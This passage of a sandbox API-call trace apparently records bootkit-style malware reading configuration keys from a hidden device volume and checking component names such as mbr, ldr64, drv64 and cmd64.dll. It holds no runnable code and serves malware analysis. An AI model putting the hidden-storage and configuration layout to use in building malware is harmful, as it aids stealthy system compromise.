(FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.768] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.768] KeLeaveCriticalRegion () [0118.768] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.768] KeEnterCriticalRegion () [0118.768] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.768] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.768] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.768] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.768] KeLeaveCriticalRegion () [0118.768] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.768] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.768] KeEnterCriticalRegion () [0118.768] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.768] ExFreePoolWithTag (P=0xfffffa8003bca1b0, Tag=0x0) [0118.768] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.768] KeLeaveCriticalRegion () [0118.768] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.768] ReleaseMutex (hMutex=0xf0) returned 1 [0118.768] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.768] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.768] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.768] KeEnterCriticalRegion () [0118.768] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.768] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.768] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.768] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.768] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.768] IdePortDispatch () returned 0x103 [0118.768] KeWaitForMutexObject () returned 0x0 [0118.769] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.769] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.769] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.769] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.769] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.769] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdfde0 [0118.769] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.769] KeLeaveCriticalRegion () [0118.769] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.769] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.769] KeEnterCriticalRegion () [0118.769] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.769] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.769] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.769] KeLeaveCriticalRegion () [0118.769] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.769] KeEnterCriticalRegion () [0118.769] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.769] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.769] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.769] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.769] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.769] IdePortDispatch () returned 0x103 [0118.770] KeWaitForMutexObject () returned 0x0 [0118.770] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.770] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.770] KeLeaveCriticalRegion () [0118.770] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.770] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.770] KeEnterCriticalRegion () [0118.770] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.770] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c22000 [0118.770] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.770] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.770] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.770] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.770] IdePortDispatch () returned 0x103 [0118.770] KeWaitForMutexObject () returned 0x0 [0118.770] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.770] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.770] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.771] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.771] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.771] IdePortDispatch () returned 0x103 [0118.771] KeWaitForMutexObject () returned 0x0 [0118.771] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.771] KeLeaveCriticalRegion () [0118.771] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.772] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.772] KeEnterCriticalRegion () [0118.772] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.772] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.772] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.772] KeLeaveCriticalRegion () [0118.772] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.772] KeEnterCriticalRegion () [0118.772] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.772] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.772] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003649ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.772] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.772] KeLeaveCriticalRegion () [0118.772] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.772] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.772] KeEnterCriticalRegion () [0118.772] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.772] ExFreePoolWithTag (P=0xfffffa8003bdfde0, Tag=0x0) [0118.772] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.772] KeLeaveCriticalRegion () [0118.772] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.772] ReleaseMutex (hMutex=0xf0) returned 1 [0118.772] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.772] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.772] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.772] KeEnterCriticalRegion () [0118.772] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.772] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.772] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.772] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.772] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.772] IdePortDispatch () returned 0x103 [0118.773] KeWaitForMutexObject () returned 0x0 [0118.773] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.773] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.773] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.773] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.773] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.773] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003af8620 [0118.773] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.773] KeLeaveCriticalRegion () [0118.773] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.773] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.773] KeEnterCriticalRegion () [0118.773] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.773] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.773] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.773] KeLeaveCriticalRegion () [0118.773] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.773] KeEnterCriticalRegion () [0118.773] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.773] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.773] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.773] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.773] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.773] IdePortDispatch () returned 0x103 [0118.774] KeWaitForMutexObject () returned 0x0 [0118.774] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.774] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.774] KeLeaveCriticalRegion () [0118.774] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.774] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.774] KeEnterCriticalRegion () [0118.774] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.774] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c23000 [0118.774] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.774] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.774] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.774] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.774] IdePortDispatch () returned 0x103 [0118.774] KeWaitForMutexObject () returned 0x0 [0118.774] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.774] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.774] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.774] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.775] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.775] IdePortDispatch () returned 0x103 [0118.775] KeWaitForMutexObject () returned 0x0 [0118.775] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.775] KeLeaveCriticalRegion () [0118.775] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.776] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.776] KeEnterCriticalRegion () [0118.776] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.776] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.776] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.776] KeLeaveCriticalRegion () [0118.776] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.776] KeEnterCriticalRegion () [0118.776] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.776] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.776] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c9ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.776] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.776] KeLeaveCriticalRegion () [0118.776] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.776] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.776] KeEnterCriticalRegion () [0118.776] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.776] ExFreePoolWithTag (P=0xfffffa8003af8620, Tag=0x0) [0118.776] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.776] KeLeaveCriticalRegion () [0118.776] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.776] ReleaseMutex (hMutex=0xf0) returned 1 [0118.776] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.776] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.776] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.776] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.776] KeEnterCriticalRegion () [0118.776] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.776] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.776] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.776] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.777] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.777] IdePortDispatch () returned 0x103 [0118.777] KeWaitForMutexObject () returned 0x0 [0118.777] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.777] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.777] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.777] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.777] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.777] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.777] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.777] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.777] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.777] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.777] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.777] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.777] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.777] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.777] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.777] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.777] KeLeaveCriticalRegion () [0118.777] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.777] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.777] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.777] KeEnterCriticalRegion () [0118.777] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.777] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.777] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.778] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.778] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.778] IdePortDispatch () returned 0x103 [0118.778] KeWaitForMutexObject () returned 0x0 [0118.778] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.778] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.778] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.778] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.778] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.778] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.778] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.778] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.778] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.778] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.778] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.778] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.778] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.778] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.778] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.778] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.778] KeLeaveCriticalRegion () [0118.778] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.778] ReleaseMutex (hMutex=0x100) returned 1 [0118.778] Sleep (dwMilliseconds=0x2bf20) [0118.787] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a009e70, dwHighDateTime=0x1d24fa4)) [0118.787] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.787] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.787] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.787] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.787] KeEnterCriticalRegion () [0118.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.787] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.787] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.787] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.788] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.788] IdePortDispatch () returned 0x103 [0118.788] KeWaitForMutexObject () returned 0x0 [0118.788] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.788] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.788] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.788] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.788] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.788] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bca200 [0118.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.788] KeLeaveCriticalRegion () [0118.788] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.788] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.788] KeEnterCriticalRegion () [0118.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.788] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.788] KeLeaveCriticalRegion () [0118.788] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.788] KeEnterCriticalRegion () [0118.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.788] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.788] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, 